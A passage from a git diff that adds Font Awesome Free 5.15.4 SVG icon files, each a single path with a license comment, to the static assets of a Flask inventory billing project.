208.39l119.4 170.58h.01l40.63 58.04a330.055 330.055 0 0 0 78.94 1.17l-189.98-271.4a277.628 277.628 0 0 1 38.777-21.563l251.836 356.544c7.601 10.858 22.564 13.499 33.423 5.9l13.114-9.178c10.86-7.601 13.502-22.567 5.9-33.426l-43.12-58.377-.007-.009c57.161-27.978 104.835-72.04 136.81-126.301a47.938 47.938 0 0 0 .001-48.739zM390.026 345.94l-19.066-27.23c24.682-32.567 27.711-76.353 8.8-111.68v.03c0 23.65-19.17 42.82-42.82 42.82-23.828 0-42.82-19.349-42.82-42.82 0-23.65 19.17-42.82 42.82-42.82h.03c-24.75-13.249-53.522-15.643-79.51-7.68l-19.068-27.237C253.758 123.306 270.488 120 288 120c75.162 0 136 60.826 136 136 0 34.504-12.833 65.975-33.974 89.94z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/luggage-cart.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/luggage-cart.svg new file mode 100644 index 00000000..e57f03d9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/luggage-cart.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 320h32V96h-32c-17.67 0-32 14.33-32 32v160c0 17.67 14.33 32 32 32zm352-32V128c0-17.67-14.33-32-32-32h-32v224h32c17.67 0 32-14.33 32-32zm48 96H128V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h48v368c0 8.84 7.16 16 16 16h82.94c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16h197.88c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM480 96V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v272h192V96zm-48 0h-96V48h96v48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lungs-virus.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lungs-virus.svg new file mode 100644 index 00000000..7fb518cd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lungs-virus.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M344,150.68V16A16,16,0,0,0,328,0H312a16,16,0,0,0-16,16V150.68a46.45,46.45,0,0,1,48,0ZM195.54,444.46a48.06,48.06,0,0,1,0-67.88l8.58-8.58H192a48,48,0,0,1,0-96h12.12l-8.58-8.57a48,48,0,0,1,60.46-74V161.75C256,125.38,224.62,96,186,96c-44,0-58,28.5-80.12,63.13a819.52,819.52,0,0,0-102,231A113.16,113.16,0,0,0,0,419.75C0,481,62.5,525.26,125.25,508.38l59.5-15.87a98.51,98.51,0,0,0,52.5-34.75,46.49,46.49,0,0,1-41.71-13.3Zm226.29-22.63a16,16,0,0,0,0-22.62l-8.58-8.58C393.09,370.47,407.37,336,435.88,336H448a16,16,0,0,0,0-32H435.88c-28.51,0-42.79-34.47-22.63-54.62l8.58-8.58a16,16,0,0,0-22.63-22.63l-8.57,8.58C370.47,246.91,336,232.63,336,204.12V192a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.58c20.16,20.15,5.88,54.62-22.63,54.62H192a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.58a16,16,0,1,0,22.63,22.62l8.57-8.57C269.53,393.1,304,407.38,304,435.88V448a16,16,0,0,0,32,0V435.88c0-28.5,34.47-42.78,54.63-22.62l8.57,8.57a16,16,0,0,0,22.63,0ZM288,304a16,16,0,1,1,16-16A16,16,0,0,1,288,304Zm64,64a16,16,0,1,1,16-16A16,16,0,0,1,352,368Zm284.12,22.13a819.52,819.52,0,0,0-102-231C512,124.5,498,96,454,96c-38.62,0-70,29.38-70,65.75v27.72a48,48,0,0,1,60.46,74L435.88,272H448a48,48,0,0,1,0,96H435.88l8.58,8.58a47.7,47.7,0,0,1-41.71,81.18,98.51,98.51,0,0,0,52.5,34.75l59.5,15.87C577.5,525.26,640,481,640,419.75A113.16,113.16,0,0,0,636.12,390.13Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lungs.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lungs.svg new file mode 100644 index 00000000..bbc3c10e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/lungs.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M636.11 390.15C614.44 308.85 580.07 231 534.1 159.13 511.98 124.56 498.03 96 454.05 96 415.36 96 384 125.42 384 161.71v60.11l-32.88-21.92a15.996 15.996 0 0 1-7.12-13.31V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v170.59c0 5.35-2.67 10.34-7.12 13.31L256 221.82v-60.11C256 125.42 224.64 96 185.95 96c-43.98 0-57.93 28.56-80.05 63.13C59.93 231 25.56 308.85 3.89 390.15 1.3 399.84 0 409.79 0 419.78c0 61.23 62.48 105.44 125.24 88.62l59.5-15.95c42.18-11.3 71.26-47.47 71.26-88.62v-87.49l-85.84 57.23a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09L320 235.23l167.59 111.72a7.994 7.994 0 0 1 2.22 11.09l-8.88 13.31a7.994 7.994 0 0 1-11.09 2.22L384 316.34v87.49c0 41.15 29.08 77.31 71.26 88.62l59.5 15.95C577.52 525.22 640 481.01 640 419.78c0-9.99-1.3-19.94-3.89-29.63z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/magic.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/magic.svg new file mode 100644 index 00000000..9535e281 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/magic.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M224 96l16-32 32-16-32-16-16-32-16 32-32 16 32 16 16 32zM80 160l26.66-53.33L160 80l-53.34-26.67L80 0 53.34 53.33 0 80l53.34 26.67L80 160zm352 128l-26.66 53.33L352 368l53.34 26.67L432 448l26.66-53.33L512 368l-53.34-26.67L432 288zm70.62-193.77L417.77 9.38C411.53 3.12 403.34 0 395.15 0c-8.19 0-16.38 3.12-22.63 9.38L9.38 372.52c-12.5 12.5-12.5 32.76 0 45.25l84.85 84.85c6.25 6.25 14.44 9.37 22.62 9.37 8.19 0 16.38-3.12 22.63-9.37l363.14-363.15c12.5-12.48 12.5-32.75 0-45.24zM359.45 203.46l-50.91-50.91 86.6-86.6 50.91 50.91-86.6 86.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/magnet.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/magnet.svg new file mode 100644 index 00000000..c1956f86 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/magnet.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M164.07 148.1H12a12 12 0 0 1-12-12v-80a36 36 0 0 1 36-36h104a36 36 0 0 1 36 36v80a11.89 11.89 0 0 1-11.93 12zm347.93-12V56a36 36 0 0 0-36-36H372a36 36 0 0 0-36 36v80a12 12 0 0 0 12 12h152a11.89 11.89 0 0 0 12-11.9zm-164 44a12 12 0 0 0-12 12v52c0 128.1-160 127.9-160 0v-52a12 12 0 0 0-12-12H12.1a12 12 0 0 0-12 12.1c.1 21.4.6 40.3 0 53.3 0 150.6 136.17 246.6 256.75 246.6s255-96 255-246.7c-.6-12.8-.2-33 0-53.2a12 12 0 0 0-12-12.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mail-bulk.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mail-bulk.svg new file mode 100644 index 00000000..47a7c0d5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mail-bulk.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M160 448c-25.6 0-51.2-22.4-64-32-64-44.8-83.2-60.8-96-70.4V480c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V345.6c-12.8 9.6-32 25.6-96 70.4-12.8 9.6-38.4 32-64 32zm128-192H32c-17.67 0-32 14.33-32 32v16c25.6 19.2 22.4 19.2 115.2 86.4 9.6 6.4 28.8 25.6 44.8 25.6s35.2-19.2 44.8-22.4c92.8-67.2 89.6-67.2 115.2-86.4V288c0-17.67-14.33-32-32-32zm256-96H224c-17.67 0-32 14.33-32 32v32h96c33.21 0 60.59 25.42 63.71 57.82l.29-.22V416h192c17.67 0 32-14.33 32-32V192c0-17.67-14.33-32-32-32zm-32 128h-64v-64h64v64zm-352-96c0-35.29 28.71-64 64-64h224V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v192h96v-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/male.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/male.svg new file mode 100644 index 00000000..8966224e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/male.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 192 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96 0c35.346 0 64 28.654 64 64s-28.654 64-64 64-64-28.654-64-64S60.654 0 96 0m48 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H48c-26.51 0-48 21.49-48 48v136c0 13.255 10.745 24 24 24h16v136c0 13.255 10.745 24 24 24h64c13.255 0 24-10.745 24-24V352h16c13.255 0 24-10.745 24-24V192c0-26.51-21.49-48-48-48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-marked-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-marked-alt.svg new file mode 100644 index 00000000..b044e6a3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-marked-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zm0 168c-23.2 0-42-18.8-42-42s18.8-42 42-42 42 18.8 42 42-18.8 42-42 42zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-marked.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-marked.svg new file mode 100644 index 00000000..bdea11c0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-marked.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 0c-69.59 0-126 56.41-126 126 0 56.26 82.35 158.8 113.9 196.02 6.39 7.54 17.82 7.54 24.2 0C331.65 284.8 414 182.26 414 126 414 56.41 357.59 0 288 0zM20.12 215.95A32.006 32.006 0 0 0 0 245.66v250.32c0 11.32 11.43 19.06 21.94 14.86L160 448V214.92c-8.84-15.98-16.07-31.54-21.25-46.42L20.12 215.95zM288 359.67c-14.07 0-27.38-6.18-36.51-16.96-19.66-23.2-40.57-49.62-59.49-76.72v182l192 64V266c-18.92 27.09-39.82 53.52-59.49 76.72-9.13 10.77-22.44 16.95-36.51 16.95zm266.06-198.51L416 224v288l139.88-55.95A31.996 31.996 0 0 0 576 426.34V176.02c0-11.32-11.43-19.06-21.94-14.86z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-marker-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-marker-alt.svg new file mode 100644 index 00000000..08e96011 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-marker-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0zM192 272c44.183 0 80-35.817 80-80s-35.817-80-80-80-80 35.817-80 80 35.817 80 80 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-marker.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-marker.svg new file mode 100644 index 00000000..6d78a39c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-marker.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M172.268 501.67C26.97 291.031 0 269.413 0 192 0 85.961 85.961 0 192 0s192 85.961 192 192c0 77.413-26.97 99.031-172.268 309.67-9.535 13.774-29.93 13.773-39.464 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-pin.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-pin.svg new file mode 100644 index 00000000..598f7a71 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-pin.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 288 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M112 316.94v156.69l22.02 33.02c4.75 7.12 15.22 7.12 19.97 0L176 473.63V316.94c-10.39 1.92-21.06 3.06-32 3.06s-21.61-1.14-32-3.06zM144 0C64.47 0 0 64.47 0 144s64.47 144 144 144 144-64.47 144-144S223.53 0 144 0zm0 76c-37.5 0-68 30.5-68 68 0 6.62-5.38 12-12 12s-12-5.38-12-12c0-50.73 41.28-92 92-92 6.62 0 12 5.38 12 12s-5.38 12-12 12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-signs.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-signs.svg new file mode 100644 index 00000000..5a615400 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map-signs.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M507.31 84.69L464 41.37c-6-6-14.14-9.37-22.63-9.37H288V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v16H56c-13.25 0-24 10.75-24 24v80c0 13.25 10.75 24 24 24h385.37c8.49 0 16.62-3.37 22.63-9.37l43.31-43.31c6.25-6.26 6.25-16.38 0-22.63zM224 496c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V384h-64v112zm232-272H288v-32h-64v32H70.63c-8.49 0-16.62 3.37-22.63 9.37L4.69 276.69c-6.25 6.25-6.25 16.38 0 22.63L48 342.63c6 6 14.14 9.37 22.63 9.37H456c13.25 0 24-10.75 24-24v-80c0-13.25-10.75-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map.svg new file mode 100644 index 00000000..11aa5780 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/map.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 117.66v346.32c0 11.32 11.43 19.06 21.94 14.86L160 416V32L20.12 87.95A32.006 32.006 0 0 0 0 117.66zM192 416l192 64V96L192 32v384zM554.06 33.16L416 96v384l139.88-55.95A31.996 31.996 0 0 0 576 394.34V48.02c0-11.32-11.43-19.06-21.94-14.86z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/marker.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/marker.svg new file mode 100644 index 00000000..bd0e3ea8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/marker.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M93.95 290.03A327.038 327.038 0 0 0 .17 485.11l-.03.23c-1.7 15.28 11.21 28.2 26.49 26.51a327.02 327.02 0 0 0 195.34-93.8l75.4-75.4-128.02-128.02-75.4 75.4zM485.49 26.51c-35.35-35.35-92.67-35.35-128.02 0l-21.76 21.76-36.56-36.55c-15.62-15.62-40.95-15.62-56.56 0L138.47 115.84c-6.25 6.25-6.25 16.38 0 22.63l22.62 22.62c6.25 6.25 16.38 6.25 22.63 0l87.15-87.15 19.59 19.59L191.98 192 320 320.02l165.49-165.49c35.35-35.35 35.35-92.66 0-128.02z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars-double.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars-double.svg new file mode 100644 index 00000000..ae7b12af --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars-double.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M340 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7C198.5 72.1 172.2 64 144 64 64.5 64 0 128.5 0 208s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.5 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12V12c0-6.6-5.4-12-12-12zM144 288c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80zm356-128.1h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-48.7 48.7c-18.2-11.4-39-18.9-61.5-21.3-2.1 21.8-8.2 43.3-18.4 63.3 1.1 0 2.2-.1 3.2-.1 44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80c0-1.1 0-2.2.1-3.2-20 10.2-41.5 16.4-63.3 18.4C168.4 455.6 229.6 512 304 512c79.5 0 144-64.5 144-144 0-28.2-8.1-54.5-22.1-76.7l48.7-48.7 16.9 16.9c2.4 2.4 5.4 3.5 8.4 3.5 6.2 0 12.1-4.8 12.1-12v-79c0-6.7-5.4-12.1-12-12.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars-stroke-h.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars-stroke-h.svg new file mode 100644 index 00000000..7296c067 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars-stroke-h.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 480 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M476.2 247.5l-55.9-55.9c-7.6-7.6-20.5-2.2-20.5 8.5V224H376v-20c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v20h-27.6c-5.8-25.6-18.7-49.9-38.6-69.8C189.6 98 98.4 98 42.2 154.2c-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 19.9-19.9 32.8-44.2 38.6-69.8H312v20c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-20h23.9v23.9c0 10.7 12.9 16 20.5 8.5l55.9-55.9c4.6-4.7 4.6-12.3-.1-17zm-275.6 65.1c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars-stroke-v.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars-stroke-v.svg new file mode 100644 index 00000000..732a4de7 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars-stroke-v.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 288 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M245.8 234.2c-19.9-19.9-44.2-32.8-69.8-38.6v-25.4h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V81.4h23.9c10.7 0 16-12.9 8.5-20.5L152.5 5.1c-4.7-4.7-12.3-4.7-17 0L79.6 61c-7.6 7.6-2.2 20.5 8.5 20.5H112v24.7H92c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h20v25.4c-25.6 5.8-49.9 18.7-69.8 38.6-56.2 56.2-56.2 147.4 0 203.6 56.2 56.2 147.4 56.2 203.6 0 56.3-56.2 56.3-147.4 0-203.6zm-45.2 158.4c-31.2 31.2-81.9 31.2-113.1 0-31.2-31.2-31.2-81.9 0-113.1 31.2-31.2 81.9-31.2 113.1 0 31.2 31.1 31.2 81.9 0 113.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars-stroke.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars-stroke.svg new file mode 100644 index 00000000..c3dea2e8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars-stroke.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-17.5 17.5-14.1-14.1c-4.7-4.7-12.3-4.7-17 0L224.5 133c-4.7 4.7-4.7 12.3 0 17l14.1 14.1-18 18c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l18-18 14.1 14.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L329.2 164l17.5-17.5 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c-.1-6.6-5.5-12-12.1-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars.svg new file mode 100644 index 00000000..2c3141af --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mars.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M372 64h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7c-22.2-14-48.5-22.1-76.7-22.1C64.5 160 0 224.5 0 304s64.5 144 144 144 144-64.5 144-144c0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V76c0-6.6-5.4-12-12-12zM144 384c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mask.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mask.svg new file mode 100644 index 00000000..4714dd0f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/mask.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320.67 64c-442.6 